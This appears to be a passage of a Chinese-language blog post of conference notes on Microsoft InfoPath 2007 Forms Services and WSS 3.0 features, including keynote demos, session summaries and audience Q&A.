l Logic Inspector. 并不是所有表单都可以发布为web page形式, 例如包含有master-detail表格的表单, 包含有自定义代码的表单. 这里的Logic Inspector可以用来查看需要发布的表单是否负荷Web page的约束. 如果有不符合的地方, 系统会以红色字体显示出来. 非常贴心的一个功能.
l 提供对多种浏览器和移动设备的支持. 现场演示了在firefox上打开一个infopath form, render出来的效果和ie上保持一致, 同时还展示了在一台智能手机上render出来的情景. 该出来的栏目都出来了, 但说实话, 我是不会在手机上填写表单的, 那个费劲啊.
l 两种表单发布模式. Infopath12提供了两种表单的发布模式. 第一种是我们常规使用的模式, 编写表单模版, 发布到sps上的一个表单库, 或者作为某个list的content type. 这种方式有一些约束 : 不能包含代码, 必需是域信任, 如果需要连接数据库, 则是通过data connection library. 还有一种是server admin发布模式, 按照我的理解, 因为server admin具有关闭server的能力, 所以也就不在乎多发布一个表单, 所以他可以把表单直接发布server上, 并且激活后, 在其下属任何site上都可以使用, 同时还没有上述那些约束. 具体的管理界面是在Application Management -> Configure Office Forms Server 2007这里.
l 和winform程序集成. 整个InfoPath Form都可以作为一整个控件集成到Winform程序里面, 并且可以双向进行交互. 感觉如果是做一个远程的表单汇总统计工具, 会比较有用.
l 和asp.net集成. 同winform那边类似, infopath form还可以作为控件拖到asp.net页面上, 通过暴露出来的对象模型, 还可以对form上的数据进行修改和控制.
l InfoPath对workflow的支持. 这块内容实在是有点多, 一两句整不太明白, 简单的讲, 就是如果一个workflow流程是数据驱动的, 那么就可以将这个作为驱动的数据, 格式化为xml, 并保存在infopath表单中, 又表单来驱动这个流程. 不管是纯的infopath表单, 还是嵌入到word, excel中的表单, 都是这个原理.
l InfoPath还提供了和IRM(information right management)的集成. 不过在demo的时候出现了点问题, 没有把效果做出来.
l Data Connections Library. 这估计也微软在组件模块化和通用化方面努力的一种体现. 设想很多表单模版中都需要和数据库或者web servcie进行连接, 而这样的连接是可能频繁发生变化的, 例如数据库服务器迁移到另外一台机器, 或者web service端口号发生修改. 要一个表单一个表单的修改, 麻烦的很. 那么就把这样公用的数据连接提取出来, 单独找个地方保存起来, 这个地方就是Data Connection Library. 随后, 如果数据源发生了变化,只需要修改library中某个data connection就可以了.
l 连接BDC, Excel Service. 除了通用的数据库和web service连接之外, infopath还可以连接BDC和Excel Service. 但是个人认为, 没有必要把表单搞的这么复杂, 表单复杂到一定程度后, 就不单单是个数据复杂性的问题了, 内部商业逻辑的复杂度也会上升, 在这种情况下, infopath所体现出来的表单设计灵活性和高效率就变成了次要考虑的因素, 商业逻辑的清晰性, 透明性和可复用性就变成了首要考虑的问题, 这时使用传统的winform程序或asp.net页面来处理也许会来的更加方便一些.
l 有几位同学在听完Session之后感觉意犹未尽, 又提了些问题, 记录下来 :
n InfoPath vs Asp.net . 既然infopath也可以render为网页了, 那么基于InfoPath的solution和基于asp.net的应用场景各式什么? 如果是做数据采集, 汇总的应用, 使用infopath. 如果是构造复杂的web application, 使用asp.net.
n 是否可以将infopath form整个的绑定到关系数据库中的某个/某几个table上 ? 可以, infopath 2007提供了这种模式的支持.
n Why no ribbon and new xml format? 这个问题提的有些尴尬… 讲师同志回答说, infopath表单是一个cab文件包, 本来就是xml format的. 为什么没有ribbon ? 好像整个infopath上也没有多少菜单, 不需要整的这么绚.
n 如果在客户端没有安转CLR, 是否可以在web browser上浏览infopath表单. 不可以, 理由没有太听清楚. 我个人的理解是有部分逻辑代码需要下载到本地来执行, 如果缺少CLR, 肯定是执行不了.
n 如果只有aspx 和win form server, 是否也可以做出基于web broswer的infopath solution? 不可以. 没有OSS, 这套就玩不转.
最后听了一个VSTO 3.0新特性介绍的Session. 曙光同学已经在他的blog中详细介绍了这部分的内容, 俺就不再重复了, 详情可在他的blog上浏览.
好容易全整完了, 一看又转了点, 赶紧沐浴焚香(洗澡+抽棵烟, 还是上海的红双喜好抽呀), 期待明天有好些的运气, 因为最后一天要组织抽奖,,, 奖品有Xbox, IPAQ. 先说个吉利话 : 如果明天抽到一个IPAQ, 俺请大家吃饭 J
除了小盖和Kurt先生的Keynote之外, 今天一口气听了三个与WSS 3.0相关的Session, 分别是IT201, WS301和WS303, 最后一场WS系列的放弃了, 跑到Hand On Lab去晃了一圈, 发现收获也不小, 25个Lab全部做下来, 估计也就能把O12吃了个透彻, 可惜时间不够, 草草做了3个Lab就奔出去混饭了. 收工之前试图copy一些HOL的文档, 未遂, 被一黑壮黑壮的哥们告知, 只能看, 不能拿.
闲话少说, 切入正体.
Keynote的内容比较中规中矩, Office的Vision, Roadmap, 面临的挑战, 如何应对等等. 在其中一张slide上与Office组件平级的放了一个Microsoft Dynamics模块, Dynamics是微软在CRM市场的一套产品, 不明白为什么会在Office技术中涉及到它.
此外, Keynote中的几个Demo很是cool. 在一个Demo中, 存在放在后端Excel 服务器上的Excel文件直接作为Dashbarod和Chart被Render在WSS 3.0的网站中, 后端修改数据和Chart的显示样式, 前端页面刷新也会同步地显示出来, 刷新过程中来回滚动的绿色进度标识也给予用户很好的体验. 另一个Demo向我们展示了尚在开发中的VSTO 3.0, 基于此项技术, 我们可以在VS.net 2005中直接以可视化的方式设计InfoPath Template, Task Pane, Outlook Add-in, 以及Office12中的Ribbon. 在这方面, 微软的思路是让.Net的开发人员可以以他们熟悉的模式开发Office应用, 降低他们的学习曲线. 在这个Demo中, 我们看到InfoPath中的UI控件出现在VS.Net 2005的控件面板中, 可以自由拖动到View上; 无需编程, 通过类似WinForm上的简单拖动, 就可以构造一个Task Pane并且可以和文档中的XML数据进行交互. 这也体现了微软在开发领域一直坚持的观点: 所有开发都交给Visual Studio. Office开发, 也不要例外.
Keynote之后, 小盖还回答了听众提出的一些饶有趣味的问题, 第一个问题说的是Office12是否会提供对其他平台的支持…替小盖汗一把先. “Office是构建在Windows系统上的一套组件, 所以目前我们并没有向其他平台迁移的计划”. 似乎为了安抚人心, 小盖接着说到, 基于OpenXML格式, 其他平台上的Developer也可以开发出各种Office应用程序. 呵呵, 在这等着您呢. 另有一位兄台问E-Form如何使用的问题, Kurt答复说有两个地方, 一个是常规的电子表单应用场景, 此外, 凡是需要存储格式化信息并以适当方式呈现出来的都会使用到E-Form, 例如在Word, Excel中填写文档属性, 其实就是嵌入的InfoPath表单, 在Outlook中, 更是直接将InfoPath Form作为其中的一种Item, 直接可以在邮件中查阅和提交. 其他几个Demo也是Cool的不行, 有BDC(Business Data Catalog)集成的, 有高级搜索技术展示的, 记不太住, 此处省略几十字了.
几位精神领袖的keynote整完之后差不多也就到了中午, 接下来是编号为IT301的一个关于如何基于Office2007进行内部文档和记录管理的Session. 一位胖哥(开发人员的技术水准与其体重有紧密的函数依赖关系?)介绍到:
l 为什么要基于Office Server 2007来做内部文档和记录管理
n 可以提供存储功能
n 自动审计
n 版本支持, 在2007中提供了主版本和副版本的支持, 只有主版本的文档才会被publish出来.
n 全文检索
n 文档管理系统到记录管理系统的无封集成
l 2007中还提供动态的文档流服务, 当然是基于WWF的.
l Search的功能得到了增强.
胡乱整点中饭. 继续后面的Session. 接着是编号为WS301和WS303的课程, 分别介绍了WSS/OSS 3.0基础模型和Web Part, Master Page等东东:
l 3.0中站点的组织模式发生了一些变化, 从高到低依次为SPFarm, SPWebApplication, SPSite, SPWeb.
l 在List中, 增加了两级垃圾箱, 一级在List本身, 一级在Site上.
l 增加了若干中新的预置Field Type: Append-Only, Multi-Valued, User Account等. 同时还支持Custom Field Type.
l Check Out / Check in方面, 新版本中支持强制签出, 在多用户的场景下, 这是个很有用的feature. 此外, Office 12中的word, excel等文档都可带有自定义的property, 如果自定义属性没有填写, 则系统不会让文档Check in.
l 版本增强. 例如一份文档, 有3.1, 3.2和4.0三个版本. 那么在历史记录中, 3.1可以被其作者看到, 如果3.2被check ou, 则只有当前check out的同学能够看到, 4.0因为是正式公布的主版本, 所以所有人都可以看到.
l Schema Management. 我感觉到的思路是希望尽量减少站点配置,迁移,维护工作的复杂度, 提高站点模块化程度和复用性. 这里包含两层内容:
n Column Template, 这个在上面已有介绍
n Content Type. 这个Content Type, 我们可以把他理解为与某类文档相关的一系列Defination的集合. 例如采购单这种文档类型, 对应的有文档模版, 文档属性, 指定的Fields, 需要触发的事件, 绑定的处理流程等. 这所有的内容, 都归纳为一种Content Type. 需要指出的是Content Type可以有继承关系.
n Event Handler. 3.0中对事件模型进行了扩展. 支持同步和异步事件, 支持在Web级和Item级的事件. 同时事件的种类也增加了, 例如在List上增加或删除一个Field也会触发相应的事件.
n Query. 3.0中增加了新的名为SPSiteDataQuery的类, 用来进行跨站点查询. 同时还支持指定索引列进行查询.
n 其他方面的一些功能增强: 支持Site级的Alert, 支持RSS订阅
n Master Page. Master Page是Asp.net 2.0提供的特性, 由于WSS 3.0直接”骑”在 Asp.Net 2.0上, 所以也可以使用Master Page功能. 每一个SPSite/SPWeb(到底是那个, 现在不太记的清楚了...)都暴露出一个MasterPage link的属性, 只要修改这个属性, 就可以改变SPSite/SPWeb的Master Page风格. 关于MasterPage的定制其实还有很多内容, 讲师同学重点去讲Master Page的内部构造去了, 实在繁复的很, 略过了.
n Web Parts. 除WSS中的Web Parts之外, 3.0中还直接支持Asp.net 2.0中的web parts以及混合类型的web parts. 所谓混合类型, 实际上就是继承自WSS的WebPart, 但序列化的时候, 使用Asp.Net 2.0的web parts序列化机制.
n Feature. 在2.0中要对Site的menu, action什么的进行自定义, 是件蛮麻烦的事情. 3.0中的Feature可以简化这方面的工作量. 我们知道站点模版和WebParts都可以用来对站点进行自定义, 一个粒度大, 一个粒度小(原引熊总的话 J), 而Feature的粒度位于二者之间. 例如, 我们需要在每个Item的下拉菜单中增加一个action, 就可以用到Feature.
n 移动手持设备的支持. 3.0中可以直接将站点内容render到移动手持设备上. |